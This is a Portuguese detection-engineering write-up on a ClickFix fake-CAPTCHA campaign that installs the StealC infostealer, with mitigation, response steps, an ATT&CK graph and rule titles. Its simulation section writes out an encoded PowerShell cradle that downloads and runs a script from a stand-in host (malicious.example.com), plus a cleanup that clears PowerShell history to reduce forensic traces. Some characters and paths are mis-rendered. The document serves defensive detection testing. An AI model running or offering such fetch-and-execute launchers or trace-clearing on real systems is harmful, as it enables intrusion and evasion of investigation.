Como o ClickFix Abre a Porta para o Furtivo Roubador de Informações StealC
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Uma intrusão em múltiplas fases, sem uso de arquivo, começa em um site de restaurante vietnamita comprometido hospedando um CAPTCHA falso. As vítimas são induzidas a executar um PowerShell que baixa shellcode independente de posição, que carrega reflexivamente um downloader de 64 bits e injeta o ladrão de informações StealC no svchost.exe. O StealC coleta credenciais do navegador, dados de carteiras de criptomoeda, credenciais do Steam e do Outlook, detalhes do host e capturas de tela, então exfiltra via tráfego HTTP criptografado com RC4.
Investigação
Pesquisadores dissecavam o carregador JavaScript e PowerShell, confirmaram o uso da estrutura de shellcode Donut e seguiram as buscas HTTP do downloader para URLs controlados por atacantes. O ladrão parece ser um malware como serviço orientado por construtor, com recursos modulares de roubo, além de uma rotina de autoexclusão. As notas de caça incluem um valor User-Agent de “Loader” e chaves de registro específicas ligadas à preparação e execução.
Mitigação
As defesas recomendadas incluem limitar ou desabilitar colagens de área de transferência em navegadores, apertar políticas de execução do PowerShell e alertar sobre strings User-Agent incomuns. Adicione detecção para carregamento reflexivo de PE e injeção de processos, e aplique inspeção de HTTP de saída para entrega de payload codificado em Base64. A educação do usuário sobre iscas de CAPTCHA falsas deve ser tratada como um controle, não como um pensamento posterior.
Resposta
Se descoberto, isole o endpoint, pare a instância injetada de svchost.exe, capture dumps de memória para revisão do shellcode e bloqueie os domínios/URLs maliciosos. Redefina as credenciais expostas, revise registros e artefatos do navegador para impacto e observe o tráfego residual de C2.
“graph TB %% Class definitions classDef technique fill:#99ccff classDef action fill:#ffcc99 classDef process fill:#dddddd tech_content_injection[“<b>Technique</b> – <b>T1659 Injeção de Conteúdo</b>: JavaScript malicioso injetado em site comprometido entregando CAPTCHA falso.”] class tech_content_injection technique attack_user_exec[“<b>Action</b> – <b>T1204.004 Execução do Usuário: Copiar e Colar Malicioso</b>: Vítima executa comando PowerShell via Win+R e Ctrl+V.”] class attack_user_exec action tech_powershell[“<b>Technique</b> – <b>T1059.001 PowerShell</b>: Executa script PowerShell que baixa um carregador inu2011memory.”] class tech_powershell technique tech_obfuscation[“<b>Technique</b> – <b>T1027 Arquivos ou Informações Ofuscadas</b>: Shellcode e strings criptografadas, resolução de API dinâmica (T1027.007), payloads removidos (T1027.008).”] class tech_obfuscation technique tech_process_injection[“<b>Technique</b> – <b>T1055 Injeção de Processo</b>: Injeção de Executável Portável (T1055.002) e Hollowing de Processo (T1055.012) no svchost.exe.”] class tech_process_injection technique tech_masquerading[“<b>Technique</b> – <b>T1036 Mascaramento</b>: Uso do processo legítimo svchost.exe para esconder atividades maliciosas.”] class tech_masquerading technique tech_cred_browser[“<b>Technique</b> – <b>T1555.003 Credenciais de Navegadores Web</b>: Roubo de credenciais armazenadas no navegador.”] class tech_cred_browser technique tech_steal_cookie[“<b>Technique</b> – <b>T1539 Roubo de Cookie de Sessão Web</b>: Captura de cookies de autenticação do navegador.”] class tech_steal_cookie technique tech_use_cookie[“<b>Technique</b> – <b>T1550.004 Uso de Material Alternativo de Autenticação: Cookie de Sessão Web</b>: Reuso de cookies roubados para acesso autenticado.”] class tech_use_cookie technique tech_browser_discovery[“<b>Technique</b> – <b>T1217 Descoberta de Informações do Navegador</b>: Coletar informações sobre navegadores instalados e suas configurações.”] class tech_browser_discovery technique tech_archive[“<b>Technique</b> – <b>T1560 Arquivar Dados Coletados</b>: Compactar ou arquivar dados coletados antes da exfiltração.”] class tech_archive technique tech_exfil_c2[“<b>Technique</b> – <b>T1041 Exfiltração por Canal de C2</b>: Transferir dados usando o canal de comandou2011andu2011controle.”] class tech_exfil_c2 technique tech_encrypted_channel[“<b>Technique</b> – <b>T1573 Canal Criptografado</b>: Proteger exfiltração com criptografia (Base64+RC4).”] class tech_encrypted_channel technique tech_exfil_alt[“<b>Technique</b> – <b>T1048.001 Exfiltração por Protocolo Alternativo</b>: Uso de protocolos alternativos para exfiltração de dados.”] class tech_exfil_alt technique tech_file_deletion[“<b>Technique</b> – <b>T1070.004 Exclusão de Arquivo</b>: Excluir arquivos e artefatos para cobrir rastros.”] class tech_file_deletion technique tech_clear_persistence[“<b>Technique</b> – <b>T1070.009 Limpar Persistência</b>: Remover mecanismos de persistência após a execução.”] class tech_clear_persistence technique %% Connections showing attack flow tech_content_injection u002du002d>|leva a| attack_user_exec attack_user_exec u002du002d>|executa| tech_powershell tech_powershell u002du002d>|utiliza| tech_obfuscation tech_obfuscation u002du002d>|habilita| tech_process_injection tech_process_injection u002du002d>|utiliza| tech_masquerading tech_process_injection u002du002d>|habilita| tech_cred_browser tech_process_injection u002du002d>|habilita| tech_steal_cookie tech_cred_browser u002du002d>|suporta| tech_browser_discovery tech_browser_discovery u002du002d>|alimenta| tech_archive tech_archive u002du002d>|dados_comprimidos| tech_exfil_c2 tech_steal_cookie u002du002d>|habilita| tech_use_cookie tech_use_cookie u002du002d>|leva a| tech_exfil_c2 tech_exfil_c2 u002du002d>|protegido por| tech_encrypted_channel tech_exfil_c2 u002du002d>|usa| tech_exfil_alt tech_exfil_c2 u002du002d>|dispara| tech_file_deletion tech_file_deletion u002du002d>|também| tech_clear_persistence “
Fluxo do Ataque
Detecções
Possível Uso de PING para Execução Atrasada (via linha de comando)
Visualizar
Download de Arquivo Suspeito por IP Direto (via proxy)
Visualizar
LOLBAS wmic (via linha de comando)
Visualizar
Download ou Upload via PowerShell (via linha de comando)
Visualizar
IOCs (SourceIP) para detectar: Como o ClickFix Abre a Porta para o Ladrão de Informações StealC Discreto
Visualizar
IOCs (HashSha256) para detectar: Como o ClickFix Abre a Porta para o Ladrão de Informações StealC Discreto
Visualizar
IOCs (DestinationIP) para detectar: Como o ClickFix Abre a Porta para o Ladrão de Informações StealC Discreto
Visualizar
Detectar Atividade de Rede do Ladrão de Informações StealC [Conexão de Rede do Windows]
Visualizar
Detectar Injeção de Processo via StealC no svchost.exe [Criação de Processo do Windows]
Visualizar
Comando PowerShell EncodedCommand e iex(irm) Detectado [PowerShell do Windows]
Visualizar
Execução de Simulação
Pré-requisito: A Verificação de Pré-parcela de Telemetria e Ponto de Referência deve ter sido aprovada.
Justificação: Esta seção detalha a execução precisa da técnica adversária (TTP) designada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente as TTPs identificadas e visam gerar exatamente a telemetria esperada pela lógica de detecção.
-
Narrativa de Ataque e Comandos:
Um atacante recebe um e-mail de phishing contendo uma URL curta. O objetivo é instalar um backdoor remoto do PowerShell sem alertar o usuário. O atacante cria um payload PowerShell codificado em Base64 que baixa um script malicioso de um servidor C2 e o executa imediatamente usando
iex(irm…). Usando o switch-EncodedCommand, o atacante esconde os comandos reais de uma inspeção casual, e o padrãoiex(irm…)corresponde diretamente à regra de detecção.-
Crie o script malicioso (
payload.ps1) hospedado emhttp://malicious.example.com/payload.ps1. -
Codifique o comando do launcher:
$launcher = "iex((New-Object System.Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))" $bytes = [System.Text.Encoding]::Unicode.GetBytes($launcher) $encoded = [Convert]::ToBase64String($bytes) Write-Output $encoded # Este valor é usado no próximo passo -
Execute o comando codificado no alvo:
powershell.exe -EncodedCommand <Base64StringFromStep2>
Isso gera um evento Sysmon ProcessCreate onde
CommandLinecontém-EncodedCommandand o texto decodificado incluiiex(irm…), satisfazendo a regra Sigma. -
-
Script de Teste de Regressão:
#----------------------------------------------------------- # Script de Simulação – Dispara PowerShell EncodedCommand + iex(irm) #----------------------------------------------------------- # 1. Defina a URL do script malicioso (substitua pelo seu servidor de teste) $maliciousUrl = "http://malicious.example.com/payload.ps1" # 2. Construa o comando de uma linha que baixa e executa o script $cmd = "iex((New-Object System.Net.WebClient).DownloadString('$maliciousUrl'))" # 3. Codifique o comando em Base64 (Unicode) $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd) $b64 = [Convert]::ToBase64String($bytes) # 4. Inicie o PowerShell com o comando codificado Write-Host "Executando comando codificado..." Start-Process -FilePath "$env:windirSystem32WindowsPowerShellv1.0powershell.exe" ` -ArgumentList "-EncodedCommand $b64" ` -NoNewWindow -Wait Write-Host "Simulação concluída." -
Comandos de Limpeza:
# Remova quaisquer arquivos temporários criados pelo payload simulado (se houver) # Exemplo: exclua o script baixado se ele foi salvo localmente $tempPath = "$env:TEMPpayload.ps1" if (Test-Path $tempPath) { Remove-Item $tempPath -Force Write-Host "Payload temporário removido." } # Opcionalmente, limpe o histórico do PowerShell para reduzir rastreamento forense Clear-History